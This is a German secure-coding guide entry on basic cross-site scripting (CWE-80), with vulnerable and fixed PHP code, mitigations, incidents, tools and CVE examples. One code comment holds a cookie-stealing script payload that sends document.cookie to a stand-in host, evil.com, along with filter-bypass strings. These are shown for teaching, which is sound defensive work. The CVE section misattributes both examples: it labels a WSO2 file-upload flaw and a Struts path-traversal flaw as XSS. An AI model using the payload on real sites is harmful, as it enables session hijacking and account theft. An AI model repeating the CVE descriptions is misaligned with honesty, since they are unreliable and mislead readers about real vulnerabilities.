Unsachgemäße Neutralisierung von skriptbezogenen HTML-Tags auf einer Webseite (Basic XSS)

Beschreibung

Unsachgemäße Neutralisierung von skriptbezogenen HTML-Tags ist eine spezifische Variante von Cross-site Scripting (XSS), die auftritt, wenn Software Eingaben von einer vorgelagerten Komponente empfängt, aber skriptbezogene HTML-Tags wie <script>, <img>, <object>, <embed>, <iframe> und ähnliche Elemente nicht oder nicht korrekt neutralisiert, bevor sie in Ausgaben einbezogen werden, die als Webseiteninhalt verwendet werden. Diese grundlegende Form von XSS ermöglicht Angreifern, HTML-Tags einzuschleusen, die JavaScript ausführen oder externe bösartige Ressourcen laden. Wenn diese ungefilterten Tags im Browser eines Opfers gerendert werden, können sie beliebige Skripte ausführen, Sitzungsdaten stehlen, Benutzer umleiten oder Aktionen im Namen authentifizierter Benutzer ausführen.

Risiko

Diese Schwachstelle ermöglicht Angreifern, ausführbare Inhalte über Standard-HTML-Script-Tags in Webseiten einzuschleusen. Obwohl scheinbar grundlegend, scheitern viele Anwendungen daran, diese Tags ordnungsgemäß zu filtern, was zu Session-Hijacking, Anmeldedatendiebstahl und Kontoübernahme führt. Die Einfachheit der Ausnutzung macht sie für Angreifer aller Fähigkeitsstufen attraktiv. Wenn sie in Datenbanken gespeichert wird (Stored XSS), wird jeder Benutzer, der den kompromittierten Inhalt ansieht, zum Opfer. Häufige Angriffsvektoren umfassen Kommentarfelder, Benutzerprofile, Forenbeiträge und jedes Eingabefeld, das Benutzerinhalte akzeptiert und anzeigt. Selbst teilweise Filterung kann durch Groß-/Kleinschreibungsvariationen, Codierung oder fehlerhafte Tags umgangen werden.

Lösung

Implementieren Sie umfassende Ausgabecodierung, die alle HTML-Sonderzeichen in ihre Entity-Äquivalente umwandelt, bevor Benutzereingaben auf Webseiten gerendert werden. Verwenden Sie etablierte Codierungsfunktionen wie htmlspecialchars() in PHP, HtmlEncoder in .NET oder eingebautes Framework-Escaping. Setzen Sie Content Security Policy (CSP)-Header ein, um Skriptausführungsquellen einzuschränken. Wenn HTML-Eingaben erlaubt sein müssen, verwenden Sie robuste Bereinigungsbibliotheken wie DOMPurify oder Bleach, die sicheres HTML parsen und rekonstruieren. Verlassen Sie sich niemals ausschließlich auf das Blacklisten bestimmter Tags, da Angreifer Filter durch Codierung, Groß-/Kleinschreibungsmischung oder Verwendung alternativer Tags mit ähnlichen Fähigkeiten umgehen können.

Häufige Auswirkungen

AuswirkungDetails
VertraulichkeitBereich: Vertraulichkeit

Eingeschleuste Script-Tags können auf Cookies, Session-Storage und Seiteninhalte zugreifen und ermöglichen den Diebstahl von Authentifizierungstoken und angezeigten sensiblen Daten.
IntegritätBereich: Integrität

Angreifer können Seiteninhalte modifizieren, gefälschte Formulare einschleusen, angezeigte Informationen ändern oder Formularübermittlungen an angreifergesteuerte Server umleiten.
ZugriffskontrolleBereich: Zugriffskontrolle

Gestohlene Session-Cookies ermöglichen vollständige Kontoübernahme, wodurch Angreifer jede Aktion ausführen können, zu der das Opfer berechtigt ist.
VerfügbarkeitBereich: Verfügbarkeit

Bösartige Skripte können Probleme bei der Seitendarstellung, Endlosschleifen verursachen oder Benutzer von der legitimen Website wegleiten.

Beispielcode + Lösungscode

Anfälliger Code

<?php
// ANFÄLLIG: Direkte Ausgabe von Benutzereingaben
$comment = $_POST['comment'];
// Angreifer-Eingabe: <script>document.location='http://evil.com/?c='+document.cookie</script>
echo "<div class='comment'>" . $comment . "</div>";

// ANFÄLLIG: Unvollständige Tag-Filterung
$input = $_GET['name'];
$filtered = str_replace('<script>', '', $input);
// Umgehung: <SCRIPT>alert(1)</SCRIPT> oder <scr<script>ipt>
echo "Hallo, " . $filtered;
?>

Korrigierter Code

<?php
// SICHER: Ordnungsgemäße HTML-Entity-Codierung
$comment = $_POST['comment'] ?? '';
$safe_comment = htmlspecialchars($comment, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<div class='comment'>" . $safe_comment . "</div>";

// SICHER: Allowlist-Ansatz mit DOMPurify (clientseitig) oder HTMLPurifier (serverseitig)
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,u,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($_POST['rich_content'] ?? '');
echo $clean_html;

// Sicherheits-Header setzen
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-Content-Type-Options: nosniff");
?>

Ausgenutzt in der Praxis

Twitter-Wurm (Twitter, 2010)

Eine Stored-XSS-Schwachstelle ermöglichte Angreifern, Script-Tags in Tweets einzuschleusen. Der "onmouseover"-Wurm verbreitete sich schnell, wenn Benutzer über bösartige Tweets führen und automatisch den bösartigen Inhalt retweeteten. Der Angriff betraf Tausende von Twitter-Benutzern und demonstrierte, wie einfaches XSS auf sozialen Plattformen sich viral verbreiten kann.

eBay XSS-Schwachstelle (eBay, 2015-2016)

Angreifer nutzten unzureichende Filterung von skriptbezogenen HTML-Tags in eBay-Verkäufer-Listings aus. Die Schwachstelle ermöglichte das Einschleusen bösartiger Skripte, die Käufer-Anmeldedaten stehlen, Listing-Preise modifizieren oder Zahlungen auf Angreifer-Konten umleiten könnten.


Tools zum Testen/Ausnutzen

  • XSStrike — fortgeschrittener XSS-Scanner, der kontextbewusste Payloads generiert und auf Filter-Umgehungen mit verschiedenen Codierungs- und Tag-Kombinationen testet.

  • Burp Suite — Web-Sicherheitstestplattform mit umfassenden XSS-Scanning- und manuellen Testfähigkeiten für Script-Tag-Injection.

  • OWASP ZAP — Open-Source-Sicherheitsscanner mit aktiver XSS-Erkennung einschließlich grundlegendem Script-Tag-Injection-Testing.


CVE-Beispiele

  • CVE-2023-50164 — Apache Struts Path Traversal kombiniert mit XSS durch Script-Tag-Injection.

  • CVE-2022-29464 — WSO2-Produkte Stored XSS über Script-Tag-Injection beim Datei-Upload.


Referenzen

  1. MITRE. "CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)." https://cwe.mitre.org/data/definitions/80.html

  2. OWASP. "XSS Filter Evasion Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html